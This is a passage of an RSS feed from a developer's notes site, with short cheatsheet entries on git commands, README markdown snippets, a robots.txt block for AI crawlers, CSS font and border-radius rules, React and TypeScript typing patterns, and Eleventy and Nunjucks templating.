&lt;/ul&gt;
&lt;h2&gt;Logs&lt;/h2&gt;
&lt;p&gt;Show commit history in single lines&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log --oneline
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fancy Logs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log --graph --pretty --abbrev-commit --date=relative --branches
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Show all local file changes in the working tree&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git diff
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cleanup&lt;/h2&gt;
&lt;p&gt;Undo local modifications to all files&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout -- .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unstage a file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git reset HEAD myfile
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cherry picking&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git cherry-pick &amp;lt;commit-hash&amp;gt; &amp;lt;commit-hash&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tags&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# list all git tags
git tag -l
git tag --list

# create a git tag
git tag v1.9.2

# remove a git tag
git tag -d v1.9.2
git tag --delete v1.9.2

# push all tags to remote
git push --follow-tags origin master
git push --follow-tags origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Undoing&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# undo push
git push -f origin HEAD^:&amp;lt;branch-name&amp;gt;

# undo commit
git reset HEAD~1

# undocommitforce
git reset --hard HEAD~1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rename files&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git mv fileName.css filename.css
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Config&lt;/h2&gt;
&lt;p&gt;Run the command &lt;code&gt;git config --global -e&lt;/code&gt; to edit the global config&lt;/p&gt;
&lt;h3&gt;Default branch&lt;/h3&gt;
&lt;p&gt;In Git 2.28, a new configuration option, &lt;code&gt;init.defaultBranch&lt;/code&gt; is being introduced to replace &lt;code&gt;master&lt;/code&gt;, the previous default.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global init.defaultBranch main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or add the following to your global config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[init]
  defaultBranch = main
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Make VS Code your default Git Editor, Diff Tool, or Merge Tool&lt;/h3&gt;
&lt;p&gt;Add the following to your global config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[core]
  editor = code --wait
[diff]
  tool = vscode
[difftool &quot;vscode&quot;]
  cmd = code --wait --diff $LOCAL $REMOTE
[merge]
  tool = vscode
[mergetool &quot;vscode&quot;]
  cmd = code --wait $MERGED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.roboleary.net/vscode/2020/09/15/vscode-git.html&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;zdiff3&lt;/code&gt; diff format&lt;/h3&gt;
&lt;p&gt;Use the &lt;strong&gt;diff3&lt;/strong&gt; format to see common ancestor code in conflict blocks. Added in Git 2.35.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global merge.conflictstyle zdiff3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or add the following to your global config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[merge]
  conflictstyle = zdiff3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and then conflict blocks will be formatted like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD:path/to/file
content from target branch
|||||||| merged common ancestors:path/to/file
common ancestor content
========
content from your working branch
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Commit message:path/to/file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;where the default conflict block has been extended with a new section, delimited by &lt;code&gt;||||||||&lt;/code&gt; and &lt;code&gt;========&lt;/code&gt;, which reveals the common ancester code.&lt;/p&gt;
&lt;p&gt;Comparing the &lt;code&gt;HEAD&lt;/code&gt; block to the common ancestor block will often reveal the nature of the target-branch changes, allowing a straight-forward resolution.&lt;/p&gt;
&lt;p&gt;For instance, breathe easy if the common ancester block is empty:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD:path/to/file
content from target branch
|||||||| merged common ancestors:path/to/file
========
content from your working branch
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Commit message:path/to/file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;as this means both branches have added lines; they haven’t tried to update the same lines. You can simply delete the merge conflict markers to resolve.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git-scm.com/docs/git-config#Documentation/git-config.txt-mergeconflictStyle&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Generate release notes&lt;/h2&gt;
&lt;p&gt;These release notes were generated using this script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log &amp;lt;commit-hash&amp;gt;...&amp;lt;commit-hash&amp;gt; --pretty=format:&apos;- **%s** ([%h](github.com/mrmartineau/notes.zander.wtf/commit/%H)) by %an&apos; --reverse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To retrieve the git commit hashes use this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log --oneline
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Useful links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gitsheet.wtf/&quot;&gt;gitsheet.wtf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gitexplorer.com/&quot;&gt;gitexplorer.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.micah.soy/posts/setting-up-git-identities/&quot;&gt;Setting Up Git Identities&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>cheatsheet</category><category>git</category><author>Zander Martineau</author></item><item><title>README.md / markdown snippets</title><link>https://zander.wtf/notes/readme-snippets/</link><guid isPermaLink="true">https://zander.wtf/notes/readme-snippets/</guid><description>Header/intro Footer Notes and warnings More info</description><pubDate>Thu, 12 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Header/intro&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div align=&quot;center&quot;&amp;gt;
  &amp;lt;img
    src=&quot;https://raw.githubusercontent.com/organisation/repo/master/assets/opengraph.png&quot;
    width=&quot;640&quot;
  /&amp;gt;

  &amp;lt;p&amp;gt;
    &amp;lt;a href=&quot;https://github.com/Organisation/repo/blob/master/LICENSE&quot;&amp;gt;
      &amp;lt;img
        src=&quot;https://img.shields.io/badge/license-MIT-blue.svg&quot;
        alt=&quot;gatsby-theme-code-notes is released under the MIT license.&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;https://www.npmjs.org/package/gatsby-theme-code-notes&quot;&amp;gt;
      &amp;lt;img
        src=&quot;https://img.shields.io/npm/v/gatsby-theme-code-notes.svg&quot;
        alt=&quot;Current npm package version.&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
    &amp;lt;a
      href=&quot;https://npmcharts.com/compare/gatsby-theme-code-notes?minimal=true&quot;
    &amp;gt;
      &amp;lt;img
        src=&quot;https://img.shields.io/npm/dm/gatsby-theme-code-notes.svg&quot;
        alt=&quot;Downloads per month on npm.&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
    &amp;lt;a
      href=&quot;https://npmcharts.com/compare/gatsby-theme-code-notes?minimal=true&quot;
    &amp;gt;
      &amp;lt;img
        src=&quot;https://img.shields.io/npm/dt/gatsby-theme-code-notes.svg&quot;
        alt=&quot;Total downloads on npm.&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
    &amp;lt;img
      src=&quot;https://img.shields.io/badge/PRs-welcome-brightgreen.svg&quot;
      alt=&quot;PRs welcome!&quot;
    /&amp;gt;
    &amp;lt;a href=&quot;https://main.elk.zone/toot.cafe/@zander&quot;&amp;gt;
      &amp;lt;img
        src=&quot;https://img.shields.io/mastodon/follow/90758?domain=https%3A%2F%2Ftoot.cafe&quot;
        alt=&quot;Follow @zander&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;https://open.vscode.dev/organization/repository&quot;&amp;gt;
      &amp;lt;img
        src=&quot;https://open.vscode.dev/badges/open-in-vscode.svg&quot;
        alt=&quot;Open in Visual Studio Code&quot;
      /&amp;gt;
    &amp;lt;/a&amp;gt;
  &amp;lt;/p&amp;gt;

  &amp;lt;p&amp;gt;
    &amp;lt;a href=&quot;#features&quot;&amp;gt;Features&amp;lt;/a&amp;gt; •
    &amp;lt;a href=&quot;#Installation&quot;&amp;gt;Installation&amp;lt;/a&amp;gt; • &amp;lt;a href=&quot;#usage&quot;&amp;gt;Usage&amp;lt;/a&amp;gt; •
    &amp;lt;a href=&quot;https://code-notes-example.netlify.com/&quot;&amp;gt;Demo&amp;lt;/a&amp;gt;
  &amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Footer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;---

## License

[MIT](https://choosealicense.com/licenses/mit/) © [Zander Martineau](https://zander.wtf)

&amp;gt; Made by Zander • [zander.wtf](https://zander.wtf) • [GitHub](https://github.com/mrmartineau/) • [Mastodon](https://main.elk.zone/toot.cafe/@zander)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Notes and warnings&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [!NOTE]
&amp;gt; Highlights information that users should take into account, even when skimming.

&amp;gt; [!IMPORTANT]
&amp;gt; Crucial information necessary for users to succeed.

&amp;gt; [!WARNING]
&amp;gt; Critical content demanding immediate user attention due to potential risks.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/community/community/discussions/16925&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Disallow AI bots</title><link>https://zander.wtf/notes/disallow-ai-bots/</link><guid isPermaLink="true">https://zander.wtf/notes/disallow-ai-bots/</guid><description>Add this to your robots.txt file to disallow AI bots from crawling your site:</description><pubDate>Wed, 11 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Add this to your robots.txt file to disallow AI bots from crawling your site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: CCBot
Disallow: /

User-agent: ChatGPT-User
Disallow: /

User-agent: GPTBot
Disallow: /

User-agent: Google-Extended
Disallow: /

User-agent: Omgilibot
Disallow: /

User-Agent: FacebookBot
Disallow: /
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Nested border radius</title><link>https://zander.wtf/notes/css-nested-border-radius/</link><guid isPermaLink="true">https://zander.wtf/notes/css-nested-border-radius/</guid><description>If the element has a border as well:</description><pubDate>Tue, 10 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.panel {
  --radius: 28px;
  --padding: 8px;
  --nested-radius: calc(var(--radius) - var(--padding);
}
.content {
  border-radius: var(--nested-radius);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the element has a border as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.panel {
  --border-width: 5px;
  --outer-radius: calc(var(--radius) * var(--unit));
  --outer-padding: calc(var(--padding) * var(--unit));
  --inner-radius: calc(
    (var(--outer-radius) - var(--outer-padding)) - var(--border-width)
  );
  border-radius: var(--nested-radius);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>TypeScript JSON type</title><link>https://zander.wtf/notes/json-typescript/</link><guid isPermaLink="true">https://zander.wtf/notes/json-typescript/</guid><pubDate>Thu, 28 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;type JSONValue =
  | string
  | number
  | boolean
  | null
  | JSONValue[]
  | { [key: string]: JSONValue }

interface JSONObject {
  [k: string]: JSONValue
}
interface JSONArray extends Array&amp;lt;JSONValue&amp;gt; {}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>typescript</category><author>Zander Martineau</author></item><item><title>React.forwardRef</title><link>https://zander.wtf/notes/react-forwardref/</link><guid isPermaLink="true">https://zander.wtf/notes/react-forwardref/</guid><description>Example of a component that uses forwardRef: React TypeScript docs:…</description><pubDate>Fri, 15 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Example of a component that uses &lt;code&gt;forwardRef&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { ComponentPropsWithoutRef, forwardRef } from &apos;react&apos;
import { clsx } from &apos;clsx&apos;
import &apos;./Button.css&apos;

interface ButtonProps extends ComponentPropsWithoutRef&amp;lt;&apos;button&apos;&amp;gt; {
  isLoading?: boolean
}

export const Button = forwardRef&amp;lt;HTMLButtonElement, ButtonProps&amp;gt;(
  ({ className, children, isLoading, ...rest }, forwardedRef) =&amp;gt; {
    const buttonClass = clsx(className, &apos;button&apos;, {
      &apos;button--loading&apos;: isLoading,
    })

    return (
      &amp;lt;button className={buttonClass} {...rest} ref={forwardedRef}&amp;gt;
        {children}
      &amp;lt;/button&amp;gt;
    )
  }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;React TypeScript docs: https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/&lt;/p&gt;
&lt;h2&gt;Fixed forwardRef&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import React, { forwardRef } from &apos;react&apos;
// Declare a type that works with generic components
type FixedForwardRef = &amp;lt;T, P = {}&amp;gt;(
  render: (props: P, ref: React.Ref&amp;lt;T&amp;gt;) =&amp;gt; React.ReactElement
) =&amp;gt; (props: P &amp;amp; React.RefAttributes&amp;lt;T&amp;gt;) =&amp;gt; React.ReactElement

// Cast the old `forwardRef` to the new one
export const fixedForwardRef = forwardRef as FixedForwardRef
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>useRef</title><link>https://zander.wtf/notes/react-useref/</link><guid isPermaLink="true">https://zander.wtf/notes/react-useref/</guid><description>Docs: https://react.dev/reference/react/useRef TypeScript When using useRef, you have two options when creating a ref container that does not have an…</description><pubDate>Fri, 15 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;Docs: https://react.dev/reference/react/useRef&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;p&gt;When using useRef, you have two options when creating a ref container that does not have an initial value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ref1 = useRef&amp;lt;HTMLElement&amp;gt;(null)

// Or, if you are sure that ref2.current will never be `null`, it is also possible to use the non-null assertion operator !
const ref2 = useRef&amp;lt;HTMLElement&amp;gt;(null!)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first option will make &lt;code&gt;ref1.current&lt;/code&gt; read-only, and is intended to be passed in to built-in ref attributes that React will manage (because React handles setting the current value for you).&lt;/p&gt;
&lt;p&gt;The second option will make &lt;code&gt;ref2.current&lt;/code&gt; mutable, and is intended for &quot;instance variables&quot; that you manage yourself.&lt;/p&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function Foo() {
  // - If possible, prefer as specific as possible. For example, HTMLDivElement
  //   is better than HTMLElement and way better than Element.
  // - Technical-wise, this returns RefObject&amp;lt;HTMLDivElement&amp;gt;
  const divRef = useRef&amp;lt;HTMLDivElement&amp;gt;(null)

  useEffect(() =&amp;gt; {
    // Note that ref.current may be null. This is expected, because you may
    // conditionally render the ref-ed element, or you may forgot to assign it
    if (!divRef.current) throw Error(&apos;divRef is not assigned&apos;)

    // Now divRef.current is sure to be HTMLDivElement
    doSomethingWith(divRef.current)
  })

  // Give the ref to an element so React can manage it for you
  return &amp;lt;div ref={divRef}&amp;gt;etc&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Strongly Type useRef with &lt;code&gt;ElementRef&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useRef, ElementRef } from &apos;react&apos;

const Component = () =&amp;gt; {
  const audioRef = useRef&amp;lt;ElementRef&amp;lt;&apos;audio&apos;&amp;gt;&amp;gt;(null)

  return &amp;lt;audio ref={audioRef}&amp;gt;Hello&amp;lt;/audio&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { OtherComponent } from &apos;./other-component&apos;
import React, { useRef, ElementRef } from &apos;react&apos;

// Pass it in via typeof!
type OtherComponentRef = ElementRef&amp;lt;typeof OtherComponent&amp;gt;

const Component = () =&amp;gt; {
  const ref = useRef&amp;lt;OtherComponentRef&amp;gt;(null)

  return &amp;lt;OtherComponent ref={ref}&amp;gt;Hello&amp;lt;/OtherComponent&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.totaltypescript.com/strongly-type-useref-with-elementref&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>@font-face</title><link>https://zander.wtf/notes/font-face/</link><guid isPermaLink="true">https://zander.wtf/notes/font-face/</guid><description>Modern browsers Using variable fonts with @font-face If you’ve used variable fonts on the web before you’re probably familiar with this syntax, using the…</description><pubDate>Fri, 04 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Modern browsers&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &apos;MyWebFont&apos;;
  src: url(&apos;myfont.woff2&apos;) format(&apos;woff2&apos;);
  font-display: &apos;swap&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using variable fonts with @font-face&lt;/h3&gt;
&lt;p&gt;If you’ve used variable fonts on the web before you’re probably familiar with this syntax, using the string &lt;code&gt; &quot;woff2-variations&quot;&lt;/code&gt; in the &lt;code&gt;format()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &apos;source sans&apos;;
  src: url(&apos;SourceSansVariable.woff2&apos;) format(&apos;woff2-variations&apos;);
  font-display: &apos;swap&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That syntax has now been deprecated (but does still work). The new syntax looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &apos;source sans&apos;;
  src: url(&apos;SourceSansVariable.woff2&apos;) format(woff2) tech(variations);
  font-display: &apos;swap&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More info &lt;a href=&quot;https://web.dev/variable-fonts/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Variable font example using &lt;a href=&quot;https://github.com/mona-sans&quot;&gt;Mona Sans&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &apos;Mona Sans&apos;;
  src: url(&apos;/fonts/Mona-Sans.woff2&apos;) format(&apos;woff2 supports variations&apos;), url(&apos;/fonts/Mona-Sans.woff2&apos;)
      format(&apos;woff2-variations&apos;);
  font-weight: 200 900;
  font-stretch: 75% 125%;
  font-feature-settings: &apos;calt&apos; 1, &apos;liga&apos; 1, &apos;rlig&apos; 1, &apos;rvrn&apos; 1, &apos;kern&apos; 1, &apos;rclt&apos;
      1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Every browser&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* prettier-ignore */
@font-face {
  font-family: &apos;MyWebFont&apos;;
  src: url(&apos;webfont.eot&apos;); /* IE9 Compat Modes */
  src: url(&apos;webfont.eot?#iefix&apos;) format(&apos;embedded-opentype&apos;), /* IE6-IE8 */
       url(&apos;webfont.woff2&apos;) format(&apos;woff2&apos;), /* Super Modern Browsers */
       url(&apos;webfont.woff&apos;) format(&apos;woff&apos;), /* Pretty Modern Browsers */
       url(&apos;webfont.ttf&apos;) format(&apos;truetype&apos;), /* Safari, Android, iOS */
       url(&apos;webfont.svg#svgFontName&apos;) format(&apos;svg&apos;); /* Legacy iOS */
  font-display: &apos;swap&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>font-weight</title><link>https://zander.wtf/notes/font-weight/</link><guid isPermaLink="true">https://zander.wtf/notes/font-weight/</guid><description>Font weights Common weight name mapping | Value | Common weight name | | ----- | ------------------------- | | 100 | Thin (Hairline) | | 200 | Extra Light…</description><pubDate>Thu, 20 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Font weights&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* Keyword values */
font-weight: normal;
font-weight: bold;

/* Keyword values relative to the parent */
font-weight: lighter;
font-weight: bolder;

/* Numeric keyword values */
font-weight: 100;
font-weight: 200;
font-weight: 300;
font-weight: 400; /* normal */
font-weight: 500;
font-weight: 600;
font-weight: 700; /* bold */
font-weight: 800;
font-weight: 900;

/* Global values */
font-weight: inherit;
font-weight: initial;
font-weight: revert;
font-weight: revert-layer;
font-weight: unset;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Common weight name mapping&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Common weight name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;Thin (Hairline)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Extra Light (Ultra Light)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;td&gt;Light&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;Normal (Regular)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;td&gt;Semi Bold (Demi Bold)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;td&gt;Bold&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;800&lt;/td&gt;
&lt;td&gt;Extra Bold (Ultra Bold)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;Black (Heavy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;950&lt;/td&gt;
&lt;td&gt;Extra Black (Ultra Black)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Meaning of relative weights&lt;/h3&gt;
&lt;p&gt;When &lt;code&gt;lighter&lt;/code&gt; or &lt;code&gt;bolder&lt;/code&gt; is specified, the below chart shows how the absolute font weight of the element is determined.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Inherited value&lt;/th&gt;
&lt;th&gt;bolder&lt;/th&gt;
&lt;th&gt;lighter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;800&lt;/td&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;900&lt;/td&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variable font weights&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;font-variation-settings: &apos;wght&apos; 900, &apos;wdth&apos; 75, &apos;ital&apos; 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>CSS font-stacks</title><link>https://zander.wtf/notes/css-font-stacks/</link><guid isPermaLink="true">https://zander.wtf/notes/css-font-stacks/</guid><description>Basic system font stacks Sans-serif Serif Mono</description><pubDate>Thu, 22 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic system font stacks&lt;/h2&gt;
&lt;h3&gt;Sans-serif&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui,
  helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Serif&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid
    Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe
    UI Symbol;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mono&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Menlo, Consolas, Monaco, Liberation Mono, Lucida Console, monospace;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Eleventy</title><link>https://zander.wtf/notes/eleventy/</link><guid isPermaLink="true">https://zander.wtf/notes/eleventy/</guid><description>Eleventy config Add a filter Usage:</description><pubDate>Thu, 22 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Eleventy config&lt;/h2&gt;
&lt;h3&gt;Add a filter&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;eleventyConfig.addFilter(&apos;readableDate&apos;, (dateObj) =&amp;gt; {
  return DateTime.fromJSDate(dateObj, { zone: &apos;utc&apos; }).toFormat(&apos;dd LLL, yyyy&apos;)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ page.date | readableDate }}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>11ty</category><author>Zander Martineau</author></item><item><title>Nunjucks</title><link>https://zander.wtf/notes/nunjucks/</link><guid isPermaLink="true">https://zander.wtf/notes/nunjucks/</guid><description>Built-in filters: https://mozilla.github.io/nunjucks/templating.html#builtin-filters Tags If For Another example that makes use of loop.index and…</description><pubDate>Thu, 22 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;Built-in filters: https://mozilla.github.io/nunjucks/templating.html#builtin-filters&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tags&lt;/h3&gt;
&lt;h4&gt;If&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;{% if variable %}
  It is true
{% endif %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;For&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;
{% for item in items %}
  &amp;lt;li&amp;gt;{{ item.title }}&amp;lt;/li&amp;gt;
{% else %}
  &amp;lt;li&amp;gt;This would display if the &apos;item&apos; collection were empty&amp;lt;/li&amp;gt;
{% endfor %}
&amp;lt;/ul&amp;gt;
